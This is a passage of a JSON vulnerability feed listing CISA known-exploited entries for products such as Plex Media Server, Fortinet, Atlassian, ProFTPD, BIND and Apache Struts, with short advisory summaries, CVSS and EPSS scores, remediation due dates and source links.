Server","stacks":["Plex Media Server","Plex","Media Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-20","dueAt":"2026-11-03","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-96655","asOf":"2026-09-23T16:06:53.133Z"},"epss":{"probability":0.01637,"percentile":0.76162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96655&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-96655","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-96655 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96655&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96655, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisa-cg","url":"https://cveawg.mitre.org/api/cve/CVE-2026-96655","type":"primary","publishedAt":"2026-09-23T16:06:53.133Z","checkedAt":"2026-10-26T13:55:58.691Z","supports":"The published CVE-2026-96655 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:55:58.691Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96656","cveId":"CVE-2026-96656","aliases":[],"kind":"vulnerability","title":"Plex Media Server External Control of File Name or Path Vulnerability","summary":"Plex Media Server contains an external control of file name or path vulnerability which can allow an admin user to write arbitrary files that may be executed on load. This vulnerability can be chained with CVE-2026-96652, CVE-2026-96654, and CVE-2026-96655.","detail":"CISA added this entry on 2026-10-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-20","updatedAt":null,"regions":["Global"],"vendor":"Plex","product":"Media Server","stacks":["Plex Media Server","Plex","Media Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-20","dueAt":"2026-10-23","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-96656","asOf":"2026-09-23T16:07:10.048Z"},"epss":{"probability":0.01785,"percentile":0.78146,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96656&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-96656","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-96656 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96656&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96656, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisa-cg","url":"https://cveawg.mitre.org/api/cve/CVE-2026-96656","type":"primary","publishedAt":"2026-09-23T16:07:10.048Z","checkedAt":"2026-10-26T13:55:58.691Z","supports":"The published CVE-2026-96656 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:55:58.691Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2025-61624","cveId":"CVE-2025-61624","aliases":[],"kind":"vulnerability","title":"Fortinet Multiple Products Path Traversal Vulnerability","summary":"FortiOS, FortiPAM, FortiProxy, and FortiSwitchManager contain a path traversal vulnerability that may allow an authenticated attacker with admin profile and at least read-write permissions to write or delete arbitrary files via specific CLI commands.","detail":"CISA added this entry on 2026-10-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-16","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"Multiple Products","stacks":["Fortinet","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-16","dueAt":"2026-10-19","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":5.4,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:H/E:P/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2025-61624","asOf":"2026-04-14T15:39:51.445Z"},"epss":{"probability":0.01343,"percentile":0.71155,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2025-61624&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2025-61624","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-16","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2025-61624 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2025-61624&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2025-61624, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA fortinet","url":"https://cveawg.mitre.org/api/cve/CVE-2025-61624","type":"primary","publishedAt":"2026-04-14T15:39:51.445Z","checkedAt":"2026-10-26T13:55:58.691Z","supports":"The published CVE-2025-61624 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:55:58.691Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-21589","cveId":"CVE-2026-21589","aliases":[],"kind":"vulnerability","title":"Atlassian Multiple Products Files or Directories Accessible to External Parties Vulnerability","summary":"Multiple Atlassian products (Bitbucket Data Center ,Confluence Data Center, Jira Service Management Data Center, Jira Software Data Center, Bamboo Data Center, Crowd Data Center, Crucible and Fisheye) contain a files or directories accessible to external parties vulnerability which could allow an unauthenticated attacker to access specific files within the web application root directory in affected versions.","detail":"CISA added this entry on 2026-10-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-15","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Multiple Products","stacks":["Atlassian","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-15","dueAt":"2026-10-18","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-21589","asOf":"2026-10-19T18:26:40.891Z"},"epss":{"probability":0.99477,"percentile":0.99943,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-21589&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-21589","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-21589 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-21589&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-21589, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA atlassian","url":"https://cveawg.mitre.org/api/cve/CVE-2026-21589","type":"primary","publishedAt":"2026-10-05T21:30:00.390Z","checkedAt":"2026-10-26T13:55:58.691Z","supports":"The published CVE-2026-21589 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:55:58.691Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-3306","cveId":"CVE-2015-3306","aliases":[],"kind":"vulnerability","title":"ProFTPD Improper Access Control Vulnerability","summary":"ProFTPD contains an improper access control vulnerability that could allow remote attackers to read and write to arbitrary files via the site cpfr and site cpto commands.","detail":"CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-08","updatedAt":null,"regions":["Global"],"vendor":"ProFTPD","product":"ProFTPD","stacks":["ProFTPD"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-08","dueAt":"2026-10-11","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2015-3306","asOf":"2026-10-09T16:02:13.824Z"},"epss":{"probability":0.99497,"percentile":0.99944,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-3306&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-3306","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-3306 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-3306&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-3306, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2015-3306","type":"primary","publishedAt":"2015-05-18T15:00:00.000Z","checkedAt":"2026-10-26T14:11:55.600Z","supports":"The published CVE-2015-3306 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:11:55.600Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2015-5477","cveId":"CVE-2015-5477","aliases":[],"kind":"vulnerability","title":"ISC BIND Data Processing Errors Vulnerability","summary":"ISC BIND contains a data processing errors vulnerability that could allow remote attackers to cause a denial of service via TKEY queries.","detail":"CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-08","updatedAt":null,"regions":["Global"],"vendor":"ISC","product":"BIND","stacks":["ISC","BIND"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-08","dueAt":"2026-10-11","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2015-5477","asOf":"2026-10-09T03:55:29.574Z"},"epss":{"probability":0.99584,"percentile":0.99946,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2015-5477&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2015-5477","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2015-5477 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2015-5477&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2015-5477, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2015-5477","type":"primary","publishedAt":"2015-07-29T14:00:00.000Z","checkedAt":"2026-10-26T14:11:55.600Z","supports":"The published CVE-2015-5477 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:11:55.600Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-3081","cveId":"CVE-2016-3081","aliases":[],"kind":"vulnerability","title":"Apache Struts Command Injection Vulnerability","summary":"Apache Struts contains a command injection vulnerability that could allow remote attackers to execute arbitrary code via method:prefix when Dynamic Method Invocation is enabled.","detail":"CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-08","updatedAt":null,"regions":["Global"],"vendor":"Apache","product":"Struts","stacks":["Apache Struts","Apache","Struts"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-08","dueAt":"2026-10-11","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2016-3081","asOf":"2026-10-09T03:55:30.407Z"},"epss":{"probability":0.96525,"percentile":0.99881,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2016-3081&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2016-3081","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2016-3081 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2016-3081&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2016-3081, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2016-3081","type":"primary","publishedAt":"2016-04-26T14:00:00.000Z","checkedAt":"2026-10-26T14:11:55.600Z","supports":"The published CVE-2016-3081 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:11:55.600Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-3199","cveId":"CVE-2021-3199","aliases":[],"kind":"vulnerability","title":"ONLYOFFICE Docs Server Path Traversal Vulnerability","summary":"ONLYOFFICE Docs contains a path traversal vulnerability that can occur when JWT is used, via a /.. sequence in an image upload parameter and could allow for remote code execution.","detail":"CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-08","updatedAt":null,"regions":["Global"],"vendor":"ONLYOFFICE","product":"Docs","stacks":["ONLYOFFICE","Docs"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-08","dueAt":"2026-10-11","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2021-3199","asOf":"2026-10-09T03:55:31.111Z"},"epss":{"probability":0.30244,"percentile":0.98208,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-3199&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-3199","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-3199 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-3199&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-3199, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2021-3199","type":"primary","publishedAt":"2021-01-22T02:41:34.000Z","checkedAt":"2026-10-26T14:11:55.600Z","supports":"The published CVE-2021-3199 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:11:55.600Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-22894","cveId":"CVE-2023-22894","aliases":[],"kind":"vulnerability","title":"Strapi Cleartext Storage of Sensitive Information Vulnerability","summary":"Strapi contains a cleartext storage of sensitive information vulnerability that could allow attackers with access to the admin panel to discover sensitive user details via the query filter. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version. This vulnerability can be chained with CVE-2023-22621 to achieve remote code execution.","detail":"CISA added this entry on 2026-10-08. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-08","updatedAt":null,"regions":["Global"],"vendor":"Strapi","product":"Strapi","stacks":["Strapi"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-08","dueAt":"2026-10-11","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2023-22894","asOf":"2026-10-09T03:55:26.444Z"},"epss":{"probability":0.04114,"percentile":0.90706,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-22894&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2023-22894","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-08","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2023-22894 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-22894&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-22894, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2023-22894","type":"primary","publishedAt":"2023-04-19T00:00:00.000Z","checkedAt":"2026-10-26T14:11:55.600Z","supports":"The published CVE-2023-22894 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:11:55.600Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-88779","cveId":"CVE-2026-88779","aliases":[],"kind":"vulnerability","title":"Citrix NetScaler Improper Restriction of Operations within the Bounds of a Memory Buffer Vulnerability","summary":"Citrix NetScaler ADC (formerly Citrix ADC) and Citrix NetScaler Gateway (formerly Citrix Gateway) contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow for a denial of service.","detail":"CISA added this entry on 2026-10-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching 